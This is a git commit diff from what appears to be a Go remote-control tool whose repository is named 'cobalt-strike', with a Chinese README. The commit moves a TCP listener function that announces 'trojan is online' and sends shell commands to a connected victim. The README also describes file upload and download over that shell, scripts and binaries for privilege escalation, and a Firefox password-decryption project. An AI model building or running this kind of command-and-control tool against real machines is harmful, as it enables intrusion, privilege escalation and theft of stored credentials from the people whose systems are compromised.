update readme and go.mod
This commit is contained in:
parent
9e2388622c
commit
5c46423e87
@ -2,10 +2,10 @@ variables:
|
||||
# Package version can only contain numbers (0-9), and dots (.).
|
||||
# Must be in the format of X.Y.Z, i.e. should match /\A\d+\.\d+\.\d+\z/ regular expresion.
|
||||
# See https://docs.gitlab.com/ee/user/packages/generic_packages/#publish-a-package-file
|
||||
PACKAGE_VERSION: "1.2.3"
|
||||
PACKAGE_VERSION: "1.2.4"
|
||||
LINUX_AMD64_BINARY: "console-${PACKAGE_VERSION}"
|
||||
PACKAGE_REGISTRY_URL: "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/cobalt-strike/${PACKAGE_VERSION}"
|
||||
CI_COMMIT_TAG: "1.2.3"
|
||||
CI_COMMIT_TAG: "1.2.4"
|
||||
|
||||
stages:
|
||||
- build
|
||||
|
@ -20,6 +20,9 @@
|
||||
- 通讯实现https
|
||||
- 自定义通讯协议
|
||||
|
||||
### 使用方法
|
||||
可以使用go run console.go直接运行,也可以使用go build console.go编译生产二进制文件。在release中也有编译完成的二进制文件可以直接下载使用。
|
||||
|
||||
### 模块化设计思路
|
||||
- 服务端控制台与各功能分离,能由控制台统一控制,也能单独使用。
|
||||
|
||||
@ -37,10 +40,14 @@
|
||||
### 文件上传下载功能
|
||||
- 下载时利用dd命令将文件分成与缓冲区大小一致的数据块发送,当接收到数据大小不一致时则判断传输完成
|
||||
- 上传时利用dd命令bs和count参数指定接收文件大小,这样就可以通过标准输入流写入文件(未测试读写权限问题)
|
||||
- 提供了downloaded目录用来保存下载好的文件
|
||||
|
||||
### 提权功能
|
||||
- 在privsec文件夹中提供了shell脚本和多种架构的二进制文件,可辅助提权。上传至客户端后运行即可。
|
||||
|
||||
## 参考资料
|
||||
知识点参考:https://toothsome-cardamom-46e.notion.site/Go-TCP-Cooolin-4d03a3eaed09446bb501826cbbd6bc22
|
||||
语言参考:https://pkg.go.dev/
|
||||
提权脚本参考:https://github.com/carlospolop/PEASS-ng
|
||||
提权思路参考:book.hacktricks.xyz
|
||||
提权思路参考:https://book.hacktricks.xyz
|
||||
浏览器密码解密项目:https://github.com/unode/firefox_decrypt
|
137
console.go
137
console.go
@ -22,8 +22,6 @@ func main() {
|
||||
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
|
||||
|
||||
console()
|
||||
//listener("tcp", 4444)
|
||||
//dial("tcp", "127.0.0.1", 4444)
|
||||
}
|
||||
|
||||
type env struct {
|
||||
@ -35,73 +33,6 @@ type env struct {
|
||||
|
||||
var env1 env
|
||||
|
||||
// listener function
|
||||
func listener(port int) {
|
||||
// Create a listener
|
||||
var addr net.TCPAddr
|
||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||
addr.Port = port
|
||||
listener, err := net.ListenTCP("tcp", &addr)
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Listening on local port %d\n", port)
|
||||
defer listener.Close()
|
||||
|
||||
//var connpool[16] net.TCPConn
|
||||
//Wait for connection
|
||||
|
||||
conn, err := listener.AcceptTCP()
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("木马已经上线")
|
||||
|
||||
//defer conn.Close() //Close TCP connetcion
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
return
|
||||
}
|
||||
|
||||
// 控制台函数
|
||||
func console() {
|
||||
|
||||
@ -202,6 +133,72 @@ func execInput(input string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// listener function
|
||||
func listener(port int) {
|
||||
// Create a listener
|
||||
var addr net.TCPAddr
|
||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||
addr.Port = port
|
||||
listener, err := net.ListenTCP("tcp", &addr)
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Listening on local port %d\n", port)
|
||||
defer listener.Close()
|
||||
|
||||
//var connpool[16] net.TCPConn
|
||||
//Wait for connection
|
||||
|
||||
conn, err := listener.AcceptTCP()
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("木马已经上线")
|
||||
|
||||
//defer conn.Close() //Close TCP connetcion
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
}
|
||||
|
||||
func dial(host string, port int) {
|
||||
//处理连接参数
|
||||
var dialaddr net.TCPAddr
|
||||
@ -260,7 +257,6 @@ func dial(host string, port int) {
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", exitsignal)
|
||||
return
|
||||
}
|
||||
|
||||
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
|
||||
@ -370,7 +366,6 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan st
|
||||
}
|
||||
conn.Write([]byte(inp))
|
||||
receive <- 1
|
||||
return
|
||||
}
|
||||
|
||||
func receiver(conn net.TCPConn) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user